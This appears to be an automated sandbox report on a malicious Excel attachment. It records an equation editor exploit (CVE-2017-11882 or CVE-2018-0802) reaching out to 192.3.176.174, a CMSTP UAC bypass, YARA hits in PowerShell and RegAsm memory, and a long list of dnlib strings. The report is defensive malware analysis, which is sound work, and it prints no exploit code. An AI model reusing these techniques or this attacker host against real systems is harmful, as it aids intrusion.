Windows Analysis Report
AWD 490104998518.xls

Machine Learning detection for sample

Source: Yara match	File source: 10.2.powershell.exe.41fd080.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.41fd080.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1053711584.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1053847847.00000000004F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.437191072.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3384, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\note\nots.dat, type: DROPPED

Source: AWD 490104998518.xls

Joe Sandbox ML: detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_00433837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,

12_2_00433837

Source: powershell.exe, 0000000A.00000002.437191072.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_b18ad6bd-a

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 10.2.powershell.exe.41fd080.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.powershell.exe.41fd080.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1053711584.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.437191072.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3384, type: MEMORYSTR

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 192.3.176.174 Port: 80

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Windows\SysWOW64\wscript.exe

Contains functionality to bypass UAC (CMSTPLUA)

Source: ~WRF{2F215D8E-00CF-4E4E-9C6A-7B89408264B1}.tmp.4.dr	Stream path '_1783482884/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{2F215D8E-00CF-4E4E-9C6A-7B89408264B1}.tmp.4.dr	Stream path '_1783482888/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{2F215D8E-00CF-4E4E-9C6A-7B89408264B1}.tmp.4.dr	Stream path '_1783482909/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{2F215D8E-00CF-4E4E-9C6A-7B89408264B1}.tmp.4.dr	Stream path '_1783482910/\x1CompObj' : ...................F....Microsoft Equation 3.0....
Source: ~WRF{2F215D8E-00CF-4E4E-9C6A-7B89408264B1}.tmp.4.dr	Stream path '_1783482912/\x1CompObj' : ...................F....Microsoft Equation 3.0....

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Privilege Escalation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_004074FD _wcslen,CoGetObject,

12_2_004074FD

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Document exploit detected (process start blacklist hit)

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
